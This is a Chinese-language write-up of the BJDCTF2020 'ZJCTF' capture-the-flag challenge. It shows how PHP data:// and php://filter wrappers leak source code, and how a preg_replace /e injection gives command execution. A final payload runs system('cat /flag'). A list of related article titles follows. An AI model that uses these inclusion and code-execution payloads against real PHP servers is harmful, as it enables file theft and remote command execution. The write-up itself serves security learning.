[BJDCTF2020]ZJCTF,不過如此(php偽協議,data偽協議,preg_replace /e漏洞)
偽協議常用在檔案包含漏洞中.
常見的檔案包含函式有:
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile.
具體的函式功能可以參考.
偽協議的學習
通過data協議構造 data://text/plain,I have a dream
通過php協議構造 php://filter/convert.base64-encode/resource=next.php
訪問
得到next.php原始碼
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
接著是preg_replace /e模式下的漏洞.
這裡會在匹配成功後執行’strtolower("\1")‘操作.而""裡面的東西會解釋執行,而’\1’,即’\1’在正規表示式中表示第一個子匹配項.
具體可以參考
深入研究preg_replace與程式碼執行
構造payload
\S*=${getFlag()}&cmd=system(‘cat /flag’);(這裡不要把’;'忘了)
相關文章
- Php偽協議 入侵合約PHP協議
- PHP偽協議(Pseudo-Protocols)PHP協議Protocol
- [BJDCTF2020]ZJCTF,不過如此 1TF2
- PHP基礎知識——PHP偽協議PHP協議
- 【HITCON 2017】SSRFme——最簡單偽協議思路協議
- Raft協議和ZAB協議Raft協議
- Gossip協議也叫Epidemic協議(流行病協議)Go協議IDE
- 頁面連結跳轉--指定協議,半協議,無協議協議
- 協議協議
- 淺談WebSocket協議、WS協議和WSS協議原理及關係Web協議
- 刷題Phuck2--data協議差異協議
- 理解HTTP協議中的multipart/form-dataHTTP協議ORM
- TCP/IP協議常見漏洞型別TCP協議型別
- Gossip協議和Grpc協議的區別Go協議RPC
- 系列TCP/IP協議-TCP協議概述(011)TCP協議
- 二進位制協議 VS 文字協議協議
- 匯流排協議系列——USART協議初探協議
- 生成樹協議與多生成樹協議協議
- XModem協議協議
- swift協議Swift協議
- UART協議協議
- SPI協議協議
- WebSocket協議Web協議
- 協議號協議
- ICMP協議協議
- OSPF協議協議
- Memcached 協議協議
- HTTPS 協議HTTP協議
- ipad協議iPad協議
- mysql協議MySql協議
- rpc協議RPC協議
- Modbus協議協議
- CAN協議協議
- usb協議協議
- signal協議協議
- BGP協議協議
- http協議HTTP協議
- TCP協議TCP協議